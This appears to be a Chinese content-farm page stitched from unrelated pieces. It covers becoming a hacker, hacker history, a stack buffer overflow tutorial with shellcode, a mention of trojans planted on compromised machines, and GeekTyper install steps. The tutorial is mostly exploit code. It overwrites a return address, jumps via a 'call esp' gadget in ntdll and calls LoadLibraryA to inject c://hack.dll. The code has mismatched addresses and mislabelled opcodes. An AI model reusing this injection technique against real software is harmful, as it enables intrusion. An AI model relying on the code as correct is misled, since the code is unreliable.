制作黑客_用一行程序教你做黑客软件

hacker|
90

如何成为黑客

对一个黑客来说,学会编程是必须的,计算机可以说就是为了编程而设计的,运行程序是计算机的唯一功能。对了,数学也是不可少的,运行程序其实就是运算,离散数学、线性代数、微积分等。

经常逛“华中帝国”“黑基网”“华夏联盟”等网站,学习里面的教程之类的。熟悉协议,熟练使用汇编语言,知道如何通过软件对硬件调用。

黑客的由来:

黑客这个词源于上个世纪50年代的麻省理工,当时MIT的一帮聪明又精力充沛的年轻学生们,聚集在一起,思维的火花互相碰撞,有了共同想法的人组成了一个个兴趣小组。比如那个最著名Tech Model Railroad Cloub(铁路技术俱乐部),大家在一起学习研究火车的构成、信号控制系统,自己动手组装模型,修改模型,一起研究做实验,把心中一个个idea付诸实现。

如何利用缓冲区溢出的程序错误来运行黑客程序

上回说了,我们可以在一个有缓冲区溢出漏洞的程序中执行程序中其他的函数,当然,也可以执行程序中其他的指令。还是以上次讲过的程序为例:

程序A:

#include stdio.h

#include string.h

void foo(const char *input)

{

char buf[10];

strcpy(buf, input);

}

int main(int argc, char *argv[])

{

foo("1234567890123456123456123456");

return 0;

}

启动VS 2005,然后将断点设在函数foo中strcpy的后面,断点执行到了以后,进入反汇编窗口,单步执行到该函数最后一行汇编指令,也就是ret指令,在内存窗口中查看寄存器esp保存的内存地址所存放的值,当然你的内存窗口的显示方式应该是4字节显示方式(x86或者说是32位机器上)。你可以看到该值也已经被foo的参数12345678那些字符串覆盖了,然后你可以看看esp的值和ebp的值刚好相差8个字节。就是说,内存中的形式是这样的:

ebp的值 esp的值

^ ^

| |

--------------------------------------

| |函数返回地址| |

---------------------------------------

而你再看看foo函数最后几个汇编指令:非常标准的函数退出时,所作的栈销毁操作:

mov esp ebp

pop ebp

ret

在ret指令执行完成以后,esp的值就会是foo函数的ebp + 8。

如果我们在esp所指向的内存地址上存放我们的shell code(或者说是我们刻意编写的汇编代码),然后将函数返回地址更改为调用我们的shell code的地址,那么我们所编写的shell code也就会被执行,这时就可以干任何我们想干的事情了,;)。

下面是步骤:

1,编写一个dll,其实exe程序也可以,只不过方法略有不同,如果你是直接执行exe程序的话,可以使用WinExec。这里因为我要导入我编写的dll进入程序A,所以使用的WINAPI函数是LoadLibrary,LoadLibrary需要一个参数,指明要加载的dll的文件路径。

2. 在我编写的dll中,处理的事情很简单,就是启动一个程序,呵呵,下面是源代码:

#include

"stdafx.h"

#include stdio.h

#include windows.h

#ifdef _MANAGED

#pragma managed(push, off)

#endif

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved)

{

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory( si,

sizeof(si) );

si.cb = sizeof(si);

ZeroMemory( pi, sizeof(pi) );

switch ( ul_reason_for_call )

{

case DLL_PROCESS_ATTACH: // 每次一个新的进程加载该dll的时候,触发这个条件

WinExec("C://WINDOWS//notepad.exe", SW_SHOW);

break;

default:

break;

}

return TRUE;

}

#ifdef

_MANAGED

#pragma managed(pop)

#endif

3.为了调用LoadLibrary,我们需要写一些汇编指令,因为cpu执行的是机器码,而不是汇编指令,所以你要将汇编指令转换为机器码。转换很简单,在你的代码里面加上下面这几行:

int main()

{

_asm {

jmp esp

}

}

将断点设置在main函数的开始处,执行程序,程序中断后,去反汇编,你会看到类似下面的代码:

00401763 FF E4 jmp esp

00401763是这段汇编码在程序中的地址,FF E4就是jmp esp对应的机器码了。呵呵,如果没有FF E4出现的话,在反汇编窗口中右键单击,选择“Show Byte Code”(VS 2005英文版)。

现在腰调用esp中的地址,可以是jmp esp也可以是call esp,但是这个代码必须是进程中已有的,OK,我们在程序中找到这个地址。再次运行程序A,在main函数中设置断点,中断后,选择Debug -- Window -- Module查看这个程序所有加载的dll(无论是动态的还是静态加载的)。程序A中不出意外的话应该有kernel32.dll和ntdll.dll,还有可能有msvcrt8.dll。

我们找一下这些dll里面有没有对应的机器码,怎么找?怎么把一个dll反汇编?呵呵,VS 2005里面自己就带了一个反汇编工具:dumpbin,路经在C:/Program Files/Microsoft Visual Studio 8/VC/bin。dumpbin有一个选项/disasm就是将任何一个PE文件(DLL或EXE)反汇编

打开cmd窗口,执行dumpbin /disasm c:/windows/system32/kernel32.dll | findstr /c:"FF E4",哦哦,没有。再试ntdll.dll,还是没有。试一下call esp,它的机器吗是FF E5。kernel32.dll里面没有,啊哈,ntdll.dll里面有,这是搜索结果:

7C914393: FF E5 call esp

4.编写shell code,调用LoadLibrary,需要知道LoadLibrary函数的地址,获取的办法是这样的:LoadLibrary是在kernel32.dll中的,启动Depends.exe,Depends.exe包含在Windows SDK中,你也可以去网上搜一下,下载一个回来用,实在找不到,那我就牺牲一下自己啦。

随便用depends打开一个exe文件,在左上角的依赖树里面点击kernel32.dll,在右边第二个窗口中找到LoadLibraryA这个函数,可以看到它的Entry Point是0x000445EF,如下:

E | Ordinal | Hint | Function | Entry Point

---------------------------------------------------------------------------------------------

754 (0x02F2) | 753 (0x02F1) | LoadLibraryA | 0x000445EF

操作系统不一样,值可能不一样,在最下面的窗口中找到kernel32.dll的base address(Preferred Base)是0x77E00000,如下:

Module | ... 中间很多省略 ... | Preferred Base

-------------------------------------------------------------------------

Kernel32.dll | .... | 0x77E000000

将Kernel32.dll的Preferred Base和LoadLibraryA的Entry Point按位于就获得LoadLibraryA在你的程序中的地址是:0x77E445EF。

5。最后编写汇编代码执行你的黑客程序:

_asm {

mov eax 0x77E445EF // 将LoadLibraryA的地址存在eax寄存器中

call L4

L2: call eax // 调用LoadLibraryA,程序执行到这段指令时LoadLibraryA的参数已经压栈

L3: jmp L3 // 循环,确保被黑的程序不会死掉

L4: call L2

}

6。最后,示例程序如下:

#include

stdio.h

#include string.h

void func(char *p)

{

char stack_temp[20];

strcpy(stack_temp, p);

printf(stack_temp);

}

void foo()

{

printf("This should not be called");

}

int main(int argc, char *argv[])

{

func("I AM MORE THAN TWENTLONG/x93/x43/x91/x7C"

"/xB8/x77/x1D/x80/x7C" // mov eax 0x771D807C LoadLibraryA的地址

"/xEB/x04" // call L4

"/xFF/xD0" // L2: call eax

"/xEB/xFE" // L3: jmp L3

"/xE8/xF7/xFF/xFF/xFF" // L4: call L2

"c://hack.dll/0"); // LoadLibraryA的参数,也就是我们要刻意加载的dll文件

return 0;

}

完了,累死了

电脑黑客如何编写程序?

额?黑客只有一小部分人自己琢磨着编程序(例如小榕工作室,专门编黑客软件),大部分都是用现有软件,例如流光啦之类的,还有一些直接用黑客文件,例如‘黑洞’软件、‘灰鸽子’软件这些可以直接种植到肉鸡中的文件

怎样能在电脑上模拟黑客软件

在电脑上模拟黑客软件的步骤如下:

1、从华军软件园下载geektyper软件包,将压缩包直接解压后,使用鼠标左键双击打开安装文件。

2、进入安装程序后,点击“Next”。

3、点击“Browse”选择geektyper的安装路径,选定后点击“Next”。

4、选择geektyper的开始菜单文件夹,一般情况下保持默认即可。如果不需要的话,可以勾选左下方的“Donotcreateshortcuts”选项。选好后点击“Install”开始安装。

5、geektyper的安装过程大约需要1分钟,请耐心等待。

6、安装完成后,如果需要立即使用的话,则勾选“RunGeekTyper”选项,最后点击“Finish”即可。

0条大神的评论

发表评论